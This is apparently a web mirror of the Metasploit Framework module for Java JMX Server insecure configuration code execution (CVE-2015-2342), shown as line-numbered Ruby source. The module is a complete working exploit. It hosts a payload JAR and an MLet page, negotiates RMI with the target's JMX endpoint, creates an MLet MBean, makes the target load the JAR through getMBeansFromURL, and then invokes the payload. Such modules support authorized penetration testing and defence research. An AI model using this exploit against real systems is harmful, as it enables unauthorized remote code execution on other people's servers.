Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/java_jmx_server.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpServer
10
include Msf::Exploit::Remote::Java::Rmi::Client
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Java JMX Server Insecure Configuration Java Code Execution',
17
'Description' => %q{
18
This module takes advantage a Java JMX interface insecure configuration, which would
19
allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication
20
disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while
21
interfaces with authentication enabled will be vulnerable only if a weak configuration
22
is deployed (allowing to use javax.management.loading.MLet, having a security manager
23
allowing to load a ClassLoader MBean, etc.).
24
},
25
'Author' => [
26
'Braden Thomas', # Attack vector discovery
27
'juan vazquez' # Metasploit module
28
],
29
'License' => MSF_LICENSE,
30
'References' => [
31
['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
32
['URL', 'https://www.optiv.com/blog/exploiting-jmx-rmi'],
33
['CVE', '2015-2342']
34
],
35
'Platform' => 'java',
36
'Arch' => ARCH_JAVA,
37
'Privileged' => false,
38
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
39
'Stance' => Msf::Exploit::Stance::Aggressive,
40
'DefaultOptions' => {
41
'WfsDelay' => 10
42
},
43
'Targets' => [
44
[ 'Generic (Java Payload)', {} ]
45
],
46
'DefaultTarget' => 0,
47
'DisclosureDate' => '2013-05-22',
48
'Notes' => {
49
'Reliability' => UNKNOWN_RELIABILITY,
50
'Stability' => UNKNOWN_STABILITY,
51
'SideEffects' => UNKNOWN_SIDE_EFFECTS
52
}
53
)
54
)
55
56
register_options([
57
Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
58
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),
59
Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])
60
])
61
register_common_rmi_ports_and_services
62
end
63
64
def post_auth?
65
true
66
end
67
68
def on_request_uri(cli, request)
69
if @jar.nil?
70
p = regenerate_payload(cli)
71
@jar = p.encoded_jar({ random: true })
72
paths = [
73
["metasploit", "JMXPayloadMBean.class"],
74
["metasploit", "JMXPayload.class"],
75
]
76
77
@jar.add_file('metasploit/', '')
78
paths.each do |path_parts|
79
path = ['java', path_parts].flatten.join('/')
80
contents = ::MetasploitPayloads.read(path)
81
@jar.add_file(path_parts.join('/'), contents)
82
end
83
end
84
85
if request.uri =~ /mlet$/
86
jar = "#{rand_text_alpha(8 + rand(8))}.jar"
87
88
mlet = "<HTML><mlet code=\"#{@jar.substitutions["metasploit"]}.JMXPayload\" "
89
mlet << "archive=\"#{jar}\" "
90
mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" "
91
mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"
92
send_response(cli, mlet,
93
{
94
'Content-Type' => 'application/octet-stream',
95
'Pragma' => 'no-cache'
96
})
97
98
print_status("Replied to request for mlet")
99
elsif request.uri =~ /\.jar$/i
100
send_response(cli, @jar.pack,
101
{
102
'Content-Type' => 'application/java-archive',
103
'Pragma' => 'no-cache'
104
})
105
print_status("Replied to request for payload JAR")
106
end
107
end
108
109
def autofilter
110
return true
111
end
112
113
def check
114
connect
115
116
unless is_rmi?
117
return Exploit::CheckCode::Safe
118
end
119
120
mbean_server = discover_endpoint
121
disconnect
122
if mbean_server.nil?
123
return Exploit::CheckCode::Safe
124
end
125
126
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
127
unless is_rmi?
128
return Exploit::CheckCode::Unknown
129
end
130
131
jmx_endpoint = handshake(mbean_server)
132
disconnect
133
if jmx_endpoint.nil?
134
return Exploit::CheckCode::Detected
135
end
136
137
Exploit::CheckCode::Appears
138
end
139
140
def exploit
141
vprint_status("Starting service...")
142
start_service
143
144
@mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
145
connect
146
147
print_status("Sending RMI Header...")
148
unless is_rmi?
149
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
150
end
151
152
print_status("Discovering the JMXRMI endpoint...")
153
mbean_server = discover_endpoint
154
disconnect
155
if mbean_server.nil?
156
fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")
157
else
158
print_good("JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
159
end
160
161
# First try to connect to the original RHOST, since the mbean address may be inaccessible
162
begin
163
connect(true, { 'RPORT' => mbean_server[:port] })
164
rescue Rex::ConnectionError
165
# If that fails, try connecting to the listed address instead
166
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
167
end
168
169
unless is_rmi?
170
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
171
end
172
173
print_status("Proceeding with handshake...")
174
jmx_endpoint = handshake(mbean_server)
175
if jmx_endpoint.nil?
176
fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")
177
else
178
print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")
179
end
180
181
print_status("Loading payload...")
182
unless load_payload(jmx_endpoint)
183
fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")
184
end
185
186
print_status("Executing payload...")
187
send_jmx_invoke(
188
object_number: jmx_endpoint[:object_number],
189
uid_number: jmx_endpoint[:uid].number,
190
uid_time: jmx_endpoint[:uid].time,
191
uid_count: jmx_endpoint[:uid].count,
192
object: "#{@mlet}:name=jmxpayload,id=1",
193
method: 'run'
194
)
195
disconnect
196
end
197
198
def is_rmi?
199
send_header
200
ack = recv_protocol_ack
201
if ack.nil?
202
return false
203
end
204
205
true
206
end
207
208
def discover_endpoint
209
rmi_classes_and_interfaces = [
210
'javax.management.remote.rmi.RMIConnectionImpl',
211
'javax.management.remote.rmi.RMIConnectionImpl_Stub',
212
'javax.management.remote.rmi.RMIConnector',
213
'javax.management.remote.rmi.RMIConnectorServer',
214
'javax.management.remote.rmi.RMIIIOPServerImpl',
215
'javax.management.remote.rmi.RMIJRMPServerImpl',
216
'javax.management.remote.rmi.RMIServerImpl',
217
'javax.management.remote.rmi.RMIServerImpl_Stub',
218
'javax.management.remote.rmi.RMIConnection',
219
'javax.management.remote.rmi.RMIServer'
220
]
221
ref = send_registry_lookup(name: datastore['JMXRMI'])
222
return nil if ref.nil?
223
224
unless rmi_classes_and_interfaces.include? ref[:object]
225
vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}")
226
return nil
227
end
228
229
ref
230
end
231
232
def handshake(mbean)
233
begin
234
opts = {
235
object_number: mbean[:object_number],
236
uid_number: mbean[:uid].number,
237
uid_time: mbean[:uid].time,
238
uid_count: mbean[:uid].count
239
}
240
241
if datastore['JMX_ROLE']
242
username = datastore['JMX_ROLE']
243
password = datastore['JMX_PASSWORD']
244
opts.merge!(username: username, password: password)
245
end
246
247
ref = send_new_client(opts)
248
rescue ::Rex::Proto::Rmi::Exception => e
249
vprint_error("JMXRMI discovery raised an exception of type #{e.message}")
250
return nil
251
end
252
253
ref
254
end
255
256
def load_payload(conn_stub)
257
vprint_status("Getting JMXPayload instance...")
258
259
begin
260
res = send_jmx_get_object_instance(
261
object_number: conn_stub[:object_number],
262
uid_number: conn_stub[:uid].number,
263
uid_time: conn_stub[:uid].time,
264
uid_count: conn_stub[:uid].count,
265
name: "#{@mlet}:name=jmxpayload,id=1"
266
)
267
rescue ::Rex::Proto::Rmi::Exception => e
268
case e.message
269
when 'javax.management.InstanceNotFoundException'
270
vprint_warning("JMXPayload instance not found, trying to load")
271
return load_payload_from_url(conn_stub)
272
else
273
vprint_error("getObjectInstance returned unexpected exception #{e.message}")
274
return false
275
end
276
end
277
278
return false if res.nil?
279
280
true
281
end
282
283
def load_payload_from_url(conn_stub)
284
vprint_status("Creating javax.management.loading.MLet MBean...")
285
286
begin
287
res = send_jmx_create_mbean(
288
object_number: conn_stub[:object_number],
289
uid_number: conn_stub[:uid].number,
290
uid_time: conn_stub[:uid].time,
291
uid_count: conn_stub[:uid].count,
292
name: 'javax.management.loading.MLet'
293
)
294
rescue ::Rex::Proto::Rmi::Exception => e
295
case e.message
296
when 'javax.management.InstanceAlreadyExistsException'
297
vprint_good("javax.management.loading.MLet already exists")
298
res = true
299
when 'java.lang.SecurityException'
300
vprint_error(" The provided user hasn't enough privileges")
301
res = nil
302
else
303
vprint_error("createMBean raised unexpected exception #{e.message}")
304
res = nil
305
end
306
end
307
308
if res.nil?
309
vprint_error("The request to createMBean failed")
310
return false
311
end
312
313
vprint_status("Getting javax.management.loading.MLet instance...")
314
begin
315
res = send_jmx_get_object_instance(
316
object_number: conn_stub[:object_number],
317
uid_number: conn_stub[:uid].number,
318
uid_time: conn_stub[:uid].time,
319
uid_count: conn_stub[:uid].count,
320
name: 'DefaultDomain:type=MLet'
321
)
322
rescue ::Rex::Proto::Rmi::Exception => e
323
vprint_error("getObjectInstance returned unexpected exception: #{e.message}")
324
return false
325
end
326
327
if res.nil?
328
vprint_error("The request to GetObjectInstance failed")
329
return false
330
end
331
332
vprint_status("Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
333
334
begin
335
res = send_jmx_invoke(
336
object_number: conn_stub[:object_number],
337
uid_number: conn_stub[:uid].number,
338
uid_time: conn_stub[:uid].time,
339
uid_count: conn_stub[:uid].count,
340
object: 'DefaultDomain:type=MLet',
341
method: 'getMBeansFromURL',
342
args: { 'java.lang.String' => "#{get_uri}/mlet" }
343
)
344
rescue ::Rex::Proto::Rmi::Exception => e
345
vprint_error("invoke() returned unexpected exception: #{e.message}")
346
return false
347
end
348
349
if res.nil?
350
vprint_error("The call to getMBeansFromURL failed")
351
return false
352
end
353
354
true
355
end
356
end
357
358